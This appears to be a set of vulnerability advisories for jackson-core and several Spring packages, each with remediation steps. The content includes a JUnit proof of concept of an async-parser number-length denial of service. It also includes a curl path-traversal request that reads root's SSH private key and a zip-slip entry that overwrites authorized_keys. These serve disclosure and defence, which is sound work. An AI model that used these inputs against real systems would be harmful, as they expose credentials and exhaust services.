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Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Incorrect Authorization via the AnnotationsScanner and AnnotatedMethod class. An attacker can gain unauthorized access to sensitive information by exploiting improper resolution of annotations on methods within type hierarchies that use parameterized supertypes with unbounded generics.

Note: This is only exploitable if security annotations are used on methods in generic superclasses or generic interfaces and the @EnableMethodSecurity feature is enabled.

Remediation

Upgrade org.springframework:spring-core to version 6.2.11 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Vendor Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Path Traversal via the WebMvc.fn and WebFlux.fn frameworks. An attacker can access any file on the file system that is also accessible to the process in which the Spring application is running by crafting malicious HTTP requests.

Note:

This is only exploitable if the web application uses RouterFunctions to serve static resources and resource handling is explicitly configured with a FileSystemResource location.

Workaround

This vulnerability can be mitigated by using the Spring Security HTTP Firewall or running the application on Tomcat or Jetty.

Remediation

Upgrade org.springframework:spring-webmvc to version 6.1.13 or higher.

References

• GitHub Commit
• Spring Security Advisory
• Nuclei Templates
• PoC in GitHub

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Path Traversal through the functional web frameworks WebMvc.fn or WebFlux.fn. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible.

Note: This is similar to CVE-2024-38816, but with different input.

Remediation

Upgrade org.springframework:spring-webmvc to version 6.1.14 or higher.

References

• GitHub Commit
• Spring Security Advisory
• PoC in GitHub

Overview

org.springframework:spring-beans is a package that is the basis for Spring Framework's IoC container. The BeanFactory interface provides an advanced configuration mechanism capable of managing any type of object.

Affected versions of this package are vulnerable to Relative Path Traversal when deployed on non-compliant Servlet containers. An unauthenticated attacker could gain access to files and directories outside the intended web root.

Notes:

1. This is only exploitable if the application is deployed as a WAR or with an embedded Servlet container, the Servlet container does not reject suspicious sequences and the application serves static resources with Spring resource handling.

2. Applications deployed on Apache Tomcat or Eclipse Jetty are not vulnerable, as long as default security features are not disabled in the configuration.

3. This vulnerability was also fixed in the commercial versions 6.1.22 and 5.3.44.

Remediation

Upgrade org.springframework:spring-beans to version 6.2.10 or higher.

References

• GitHub Commit
• GitHub Release
• Spring Release
• Vendor Advisory

Overview

org.springframework:spring-webmvc is a package that provides Model-View-Controller (MVC) architecture and ready components that can be used to develop flexible and loosely coupled web applications.

Affected versions of this package are vulnerable to Directory Traversal via the Script View Templates. An attacker can access sensitive file contents outside of the intended directories by leveraging the Java scripting engine in template rendering.

Note:

This is only exploitable if the application has a mapping for "/**" that results in view rendering, and where the view name is not explicitly specified.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.springframework:spring-webmvc to version 6.2.17, 7.0.6 or higher.

References

• GitHub Commit
• Spring Advisory